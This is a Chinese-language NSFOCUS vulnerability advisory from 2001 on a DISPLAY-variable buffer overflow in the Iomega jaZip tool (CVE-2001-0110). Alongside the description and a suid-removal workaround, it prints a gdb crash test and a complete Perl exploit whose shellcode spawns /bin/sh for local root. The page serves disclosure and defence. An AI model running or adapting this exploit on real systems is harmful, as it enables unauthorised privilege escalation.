首页 -> 安全研究

安全研究

安全漏洞
Iomega JaZip 缓冲区溢出漏洞

发布日期:2001-01-18
更新日期:2001-01-18

受影响系统:

Iomega JaZip 0.32-2
描述:

BUGTRAQ  ID: 2209
CVE(CAN) ID: CVE-2001-0110

Iomega jaZip是一个用来管理Zip和Jaz可移动介质的Unix工具。由于没有检查
用户在DISPLAY变量中提供的输入,如果攻击者提供一个很长的字符串作给DISPLAY
变量的值,就可能发生缓冲区溢出。本地攻击者可能执行任意代码,并获取root
权限。

<*来源:teleh0r (teleh0r@doglover.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


  [root@localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'`
  [root@localhost /root]# gdb /usr/X11R6/bin/jazip
  GNU gdb 19991004
  Copyright 1998 Free Software Foundation, Inc.
  (gdb) r
  Starting program: /usr/X11R6/bin/jazip

  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()

teleh0r提供了一个测试程序:

#!/usr/bin/perl

## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## teleh0r@doglover.com / http://teleh0r.cjb.net/

$shellcode =                     # Shellcode by: Taeho Oh
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbffff7ac;  # May have to be modified.
$len = 2100;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

if ($ENV{'DISPLAY'}) {
    delete($ENV{'DISPLAY'});
}

local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");


建议:

临时解决方法:

NSFOCUS建议您暂时去掉jazip的suid/sgid属性

厂商补丁:

暂无。

浏览次数:5174
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障